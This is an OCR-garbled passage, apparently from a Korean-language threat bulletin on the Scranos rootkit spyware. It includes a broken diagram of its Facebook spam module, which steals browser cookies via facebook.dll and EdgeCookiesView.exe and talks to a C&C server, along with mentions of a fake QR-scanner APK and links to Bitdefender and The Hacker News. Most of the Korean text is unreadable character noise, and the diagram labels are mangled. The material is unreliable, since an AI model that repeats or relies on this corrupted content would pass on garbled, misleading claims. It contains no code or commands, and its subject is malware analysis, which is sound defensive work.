HAO|E0f| 2N ZT1E TAISHL U ME2 Chrome Filter, Fierce-tips, PDF Maker 2t 22 7kt E2IRA 2Fxt

D2 T7-s SX[eIT,

AZ| HOH B HOEE - 0| ZAEHEE= LfsHAe| A8 A F2[HE 2 FHEE SFol SAKIQ| MHZ TSt
SR Y R AY, SI=ZZE B S2| =HE HElRICL
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Facebook Spammer ) (' Chrome ) )
PBY‘ oad | facebook .dll |—-.-‘ I cookies |
1. Collect | {_ y
| Edgecookiesview.exe [«
S 4 Eage )
i E { cookies I
i i \_ . Disk
2. Get users | i 3.Send friend o >y
and spam links 1 i requests and spam
v v

C&C Facebook

[EX] https://labs bitdefender.com/2019/04/inside-scranos-a—cross—platform-rootkit-enabled-spyware—operation/

HOAS AH HPIEE - =Eot 719} 7Bt E25 280l SAXS2 AETE7 T HE ARSHA HolAS TH
HEE BUHES KA 4 U ot TSHARS| TO|AS THIS0IA| 24 IEZ0(= APK 7t Z2etE XIS 22
== Ct

QU=Z01= 0= o - A1 712 S210] AE0IM Aotz o= U= FA "Accurate scanning of QR code” HO=

PIE! O] AT == SAXOZ ZLIS HAGHH, A LRSS FXol 2= AFETER} St &L

MHE ARSI,

20| U= BMOE2FEH X5 8= B

M2 ESTH0i| ZetE DLL 2| S52 Of2fet 2Lt

HORSDLL - AfE &, Tt =5, &2lol= HO[X| S AZSAtS| To|AS APt 2RAE YEE FFoit.

OIOREDLL - AISAS| OHIRE AE0IN HEE FZ0lCt 0| DLL of £ HiTH2 27101E 00{H|2HH| AHO 22 E]

HEE FEOITE HAERUC
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Scranos £ F2 Qlk, FO[LOL EaE, TEA, 0[FE|0f, =H|AO0fIA EH0| AL 0] 2fdTF=0] 71

QeflE HE2 2018 H 11 & LAHEACH, X[ 12 2t 1 & HEA S7RIXIZE 2019 EH 3 ERH TE /2

OMTCE FTISHL}

r

[BX https://thehackemews.com/2019/04/scranos-rootkit-spyware.html
https://labs bitdefender.com/2019/04/inside-scranos—-a—cross—platform-rootkit-enabled-spyware-operation/
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